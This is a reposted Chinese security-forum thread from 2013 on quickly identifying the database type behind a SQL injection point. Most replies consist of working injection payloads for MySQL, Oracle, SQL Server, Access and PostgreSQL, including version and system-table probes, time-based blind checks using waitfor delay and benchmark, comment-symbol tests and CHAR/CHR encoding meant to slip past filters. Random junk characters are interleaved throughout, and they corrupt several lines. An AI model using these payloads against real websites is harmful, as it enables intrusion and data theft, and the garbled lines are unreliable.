找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2275|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库$ u3 Q4 s/ F5 r7 J4 `& m
xsser (十根阳具有长短!!) | 2013-02-05 12:36
6 x' C( [/ C0 ]3 a) C5 m; r6 U! K  a假设这么一个注射点:
/ F4 L/ F/ O  Q$ @2 j- nshow.html?id=2
$ K( {% p. R, `1 [( @2 Jmysql:id=2 and version()>0
! ^2 T5 h  X+ J8 i! W3 Zoracle:id=2 and '1'||'1'='11- r' H% g& E3 C( s4 f5 Q
其他的欢迎补充
! k3 A2 f6 g" Y+ r7 i' U" p( T1#& y* l6 G( z$ W$ D/ t3 O' P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47# `6 ^9 G1 B6 U/ b
Access:
7 A3 @7 b5 E3 a' j3 z( r( Q9 yaNd aSc(cHr(97))=971 Z! m9 z5 c$ ^
and exists(select id from MSysAccessObjects)
; |% U/ e5 \6 k! G! xSQL Server:! t7 V- Q+ s  t) R: k& p7 ]1 N
and exists(select id from sysobjects)
6 ]0 Z4 ?* k$ K1 Fand length(user)>0
6 e% H) ^' I% u3 G( w% g4 G) |MySQL:: A, _2 V7 K" L: U( i2 Z) h
and length(user())>03 l8 H2 G: k' V
2#, o% s6 z  B- n( V  `
xsser (十根阳具有长短!!) | 2013-02-05 12:48, N" q, v$ g1 |# s2 y; i% R; V
@upload 如果这些都不是呢…* l$ S. e6 @3 y% f
3#
- R* M0 T. X+ C6 c- wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
. q1 `2 x! k- F: n4 ?) p4 }6 c@xsser 不快速的,延时注入
: N) E$ d" ~( d9 ^& Z* m不知道这样写对不对/ ?4 F, M9 t4 E( O1 Z9 _  A# r
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'! ?* s% b) J6 {; E! |; E- h9 d
mysql:id=2 and select benchmark(1e8,current_date());
; d' d' n, k3 Y1 K" T- ^8 N8 O4#
$ W# ~4 K& L+ B9 i! Hupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
- Y8 f2 p7 b, p1 |! s- D1 m6 r* W3 Q最快的貌似是看报错信息
( D  O/ h# ?. N; O" |7 \# z' Ooracle error, a0 u/ X: M' ~- B/ `( e
mssql error
- B- p) F# v: y( R1 ~$ s+ nmysql error5 U+ K: `6 A* p# e2 \3 ?0 x
5#
- N3 P6 T: v' x& y& W% }/ dNimda (你们都是坏银~) | 2013-02-05 13:14
! ~! q" b- Q& i' _3 n小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
7 }) o" P4 r9 S* U8 E  b* H6#; h2 E# T) l, T& }+ b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
% x5 j1 A3 d3 n* M$ u- k“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:7 ?- l8 O3 u& z; a. s2 ?
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
/ B$ b8 g* K! B, d“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。" \. A9 x3 m# d' p
7#
, |: k- P* J7 o, n' G& t_Evil (HackEnd) | 2013-02-05 13:33
' E& f% ?" P- s! \8 X# D/ l" s* ^PostgreSQL# X1 y/ }3 o9 L7 ~$ y# a% ?
8#
2 t' ]* U2 l8 p; Bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
- k3 l( a- Y& p切换编码 and 1=18 y0 [7 f% |! L" `: E: _2 N1 T$ a5 k
oracle:0 c- e5 |" ]7 E9 @+ y& n. v
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
+ O3 n% O; i# |% A, P" O. @mssql:
2 g' h% }7 J1 x% |; ]CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
, k. ^) O: }6 U1 ~7 E: t$ W* emysql:: g$ P& m; G; C# ^
CHAR(97, 110, 100, 32, 49, 61, 49)
* x5 o5 A2 n$ J9#
& Y% ~7 X- ]% b# \$ gxsser (十根阳具有长短!!) | 2013-02-05 14:31
: `4 z  R8 _. I* z@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
% B- Z% }/ j" u10#/ o" n0 X7 W& h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
5 A8 i2 z, S( y0 \/ I@xsser 是奇葩数据库类型的么?
) N9 T+ S" O$ |% Q根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:, h9 R& ]+ s1 d# t1 h2 v& |
1.是否可以使用特定的函数来判断,该数据库特有的- u0 P6 Z/ e2 L# T* b/ X2 O( D- ~
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
( f% N3 v% d4 W+ o: ?1 Q3.是否可以编码查询
+ A4 a0 i/ w/ C4.是否显可以利用错信息& \9 L2 K$ @4 m0 m# a( Z) e
5.是否存在数据库某些特性辅助判断
  e! y7 C9 n6 @1 Q2 F9 u% C7 ?个人见解
) z! j6 n& ?" d: _/ M11#2 D3 h7 }' [3 R5 g' p$ ^/ }
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55/ B) l+ C7 h; I1 t" d! Z
已收藏,mssql可以直接看到错误提示的吧~) p: x/ l1 B% Y) T; n3 s" g  o
12#& x) ~, b" _1 u; M/ ^) p
Passer_by | 2013-02-05 15:09
9 A  g  e. ]) Y6 u! @8 e9 @' t曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
( e# K- c$ u( B6 ~: Yfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表